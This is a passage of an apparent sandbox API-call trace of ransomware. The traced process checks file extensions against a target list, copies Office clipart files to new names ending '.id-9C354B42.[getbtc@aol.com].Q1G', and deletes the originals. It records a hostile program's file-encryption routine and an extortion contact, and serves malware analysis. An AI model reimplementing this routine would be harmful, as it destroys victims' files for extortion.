Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0263.822] lstrlenW (lpString=".doc") returned 4 [0263.822] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.822] lstrlenW (lpString=".docx") returned 5 [0263.822] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0263.822] lstrlenW (lpString=".pdf") returned 4 [0263.822] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.822] lstrlenW (lpString=".xls") returned 4 [0263.822] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.822] lstrlenW (lpString=".xlsx") returned 5 [0263.822] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0263.822] lstrlenW (lpString=".ppt") returned 4 [0263.822] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0263.822] lstrlenW (lpString=".zip") returned 4 [0263.822] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.822] lstrlenW (lpString=".rar") returned 4 [0263.822] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.822] lstrlenW (lpString=".bz2") returned 4 [0263.822] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.823] lstrlenW (lpString=".7z") returned 3 [0263.823] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0263.823] lstrlenW (lpString=".dbf") returned 4 [0263.823] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0263.823] lstrlenW (lpString=".1cd") returned 4 [0263.823] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0263.823] lstrlenW (lpString=".jpg") returned 4 [0263.823] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.823] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0263.823] lstrlenW (lpString="J0171847.WMF") returned 12 [0263.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0263.823] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=6888) returned 1 [0263.823] CloseHandle (hObject=0x3e0) returned 1 [0263.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf")) returned 0x20 [0263.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0263.824] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.824] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0263.825] GetLastError () returned 0x0 [0263.825] ReadFile (in: hFile=0x3e0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x1ae8, lpOverlapped=0x0) returned 1 [0263.826] WriteFile (in: hFile=0x3a0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x1af0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x1af0, lpOverlapped=0x0) returned 1 [0263.827] ReadFile (in: hFile=0x3e0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.827] WriteFile (in: hFile=0x3a0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.827] SetEndOfFile (hFile=0x3a0) returned 1 [0263.827] CloseHandle (hObject=0x3a0) returned 1 [0263.828] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.828] SetEndOfFile (hFile=0x3e0) returned 1 [0263.829] CloseHandle (hObject=0x3e0) returned 1 [0263.829] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.830] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf")) returned 1 [0263.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0263.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0263.830] lstrlenW (lpString=".doc") returned 4 [0263.830] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.830] lstrlenW (lpString=".docx") returned 5 [0263.830] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0263.830] lstrlenW (lpString=".pdf") returned 4 [0263.830] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.830] lstrlenW (lpString=".xls") returned 4 [0263.830] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.830] lstrlenW (lpString=".xlsx") returned 5 [0263.831] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0263.831] lstrlenW (lpString=".ppt") returned 4 [0263.831] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0263.831] lstrlenW (lpString=".zip") returned 4 [0263.831] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.831] lstrlenW (lpString=".rar") returned 4 [0263.831] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.831] lstrlenW (lpString=".bz2") returned 4 [0263.831] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.831] lstrlenW (lpString=".7z") returned 3 [0263.831] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0263.831] lstrlenW (lpString=".dbf") returned 4 [0263.831] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0263.831] lstrlenW (lpString=".1cd") returned 4 [0263.831] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0263.831] lstrlenW (lpString=".jpg") returned 4 [0263.831] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0263.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0263.831] lstrlenW (lpString=".doc") returned 4 [0263.831] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.831] lstrlenW (lpString=".docx") returned 5 [0263.831] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0263.831] lstrlenW (lpString=".pdf") returned 4 [0263.831] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.831] lstrlenW (lpString=".xls") returned 4 [0263.831] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.831] lstrlenW (lpString=".xlsx") returned 5 [0263.831] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0263.831] lstrlenW (lpString=".ppt") returned 4 [0263.831] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0263.831] lstrlenW (lpString=".zip") returned 4 [0263.831] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.832] lstrlenW (lpString=".rar") returned 4 [0263.832] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.832] lstrlenW (lpString=".bz2") returned 4 [0263.832] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.832] lstrlenW (lpString=".7z") returned 3 [0263.832] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0263.832] lstrlenW (lpString=".dbf") returned 4 [0263.832] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0263.832] lstrlenW (lpString=".1cd") returned 4 [0263.832] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0263.832] lstrlenW (lpString=".jpg") returned 4 [0263.832] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.832] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0263.832] lstrlenW (lpString="J0172035.WMF") returned 12 [0263.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0263.833] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=7448) returned 1 [0263.833] CloseHandle (hObject=0x3e0) returned 1 [0263.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf")) returned 0x20 [0263.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0263.833] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.833] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0263.836] GetLastError () returned 0x0 [0263.836] ReadFile (in: hFile=0x3e0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x1d18, lpOverlapped=0x0) returned 1 [0263.862] WriteFile (in: hFile=0x3a0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x1d20, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x1d20, lpOverlapped=0x0) returned 1 [0263.863] ReadFile (in: hFile=0x3e0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.863] WriteFile (in: hFile=0x3a0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.863] SetEndOfFile (hFile=0x3a0) returned 1 [0263.863] CloseHandle (hObject=0x3a0) returned 1 [0263.864] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.864] SetEndOfFile (hFile=0x3e0) returned 1 [0263.866] CloseHandle (hObject=0x3e0) returned 1 [0263.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.888] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf")) returned 1 [0263.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0263.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0263.889] lstrlenW (lpString=".doc") returned 4 [0263.889] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.889] lstrlenW (lpString=".docx") returned 5 [0263.889] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0263.889] lstrlenW (lpString=".pdf") returned 4 [0263.889] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.889] lstrlenW (lpString=".xls") returned 4 [0263.889] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.889] lstrlenW (lpString=".xlsx") returned 5 [0263.889] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0263.889] lstrlenW (lpString=".ppt") returned 4 [0263.889] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0263.889] lstrlenW (lpString=".zip") returned 4 [0263.889] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.889] lstrlenW (lpString=".rar") returned 4 [0263.889] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.889] lstrlenW (lpString=".bz2") returned 4 [0263.889] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.889] lstrlenW (lpString=".7z") returned 3 [0263.889] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0263.889] lstrlenW (lpString=".dbf") returned 4 [0263.889] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0263.889] lstrlenW (lpString=".1cd") returned 4 [0263.889] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0263.889] lstrlenW (lpString=".jpg") returned 4 [0263.889] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0263.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0263.890] lstrlenW (lpString=".doc") returned 4 [0263.890] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.890] lstrlenW (lpString=".docx") returned 5 [0263.890] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0263.890] lstrlenW (lpString=".pdf") returned 4 [0263.890] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.890] lstrlenW (lpString=".xls") returned 4 [0263.890] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.890] lstrlenW (lpString=".xlsx") returned 5 [0263.890] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0263.890] lstrlenW (lpString=".ppt") returned 4 [0263.890] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0263.890] lstrlenW (lpString=".zip") returned 4 [0263.890] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.890] lstrlenW (lpString=".rar") returned 4 [0263.890] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.890] lstrlenW (lpString=".bz2") returned 4 [0263.890] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.890] lstrlenW (lpString=".7z") returned 3 [0263.890] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0263.890] lstrlenW (lpString=".dbf") returned 4 [0263.890] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0263.890] lstrlenW (lpString=".1cd") returned 4 [0263.890] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0263.890] lstrlenW (lpString=".jpg") returned 4 [0263.890] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.890] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0263.890] lstrlenW (lpString="J0174315.WMF") returned 12 [0263.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0263.891] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=5864) returned 1 [0263.891] CloseHandle (hObject=0x3e0) returned 1 [0263.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf")) returned 0x20 [0263.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0263.892] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.892] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0263.892] GetLastError () returned 0x0 [0263.892] ReadFile (in: hFile=0x3e0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x16e8, lpOverlapped=0x0) returned 1 [0263.918] WriteFile (in: hFile=0x3a0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x16f0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x16f0, lpOverlapped=0x0) returned 1 [0263.919] ReadFile (in: hFile=0x3e0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.919] WriteFile (in: hFile=0x3a0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.919] SetEndOfFile (hFile=0x3a0) returned 1 [0263.919] CloseHandle (hObject=0x3a0) returned 1 [0263.919] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.919] SetEndOfFile (hFile=0x3e0) returned 1 [0263.921] CloseHandle (hObject=0x3e0) returned 1 [0263.921] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.921] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf")) returned 1 [0263.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF") returned 63 [0263.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF") returned 63 [0263.922] lstrlenW (lpString=".doc") returned 4 [0263.923] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.923] lstrlenW (lpString=".docx") returned 5 [0263.923] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0263.923] lstrlenW (lpString=".pdf") returned 4 [0263.923] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.923] lstrlenW (lpString=".xls") returned 4 [0263.923] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.923] lstrlenW (lpString=".xlsx") returned 5 [0263.923] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0263.923] lstrlenW (lpString=".ppt") returned 4 [0263.923] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF") returned 63 [0263.923] lstrlenW (lpString=".zip") returned 4 [0263.923] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.923] lstrlenW (lpString=".rar") returned 4 [0263.923] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.923] lstrlenW (lpString=".bz2") returned 4 [0263.923] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.923] lstrlenW (lpString=".7z") returned 3 [0263.923] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF") returned 63 [0263.923] lstrlenW (lpString=".dbf") returned 4 [0263.923] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF") returned 63 [0263.923] lstrlenW (lpString=".1cd") returned 4 [0263.923] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF") returned 63 [0263.923] lstrlenW (lpString=".jpg") returned 4 [0263.923] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF") returned 63 [0263.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF") returned 63 [0263.923] lstrlenW (lpString=".doc") returned 4 [0263.923] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.923] lstrlenW (lpString=".docx") returned 5 [0263.923] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0263.924] lstrlenW (lpString=".pdf") returned 4 [0263.924] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.924] lstrlenW (lpString=".xls") returned 4 [0263.924] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.924] lstrlenW (lpString=".xlsx") returned 5 [0263.924] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0263.924] lstrlenW (lpString=".ppt") returned 4 [0263.924] 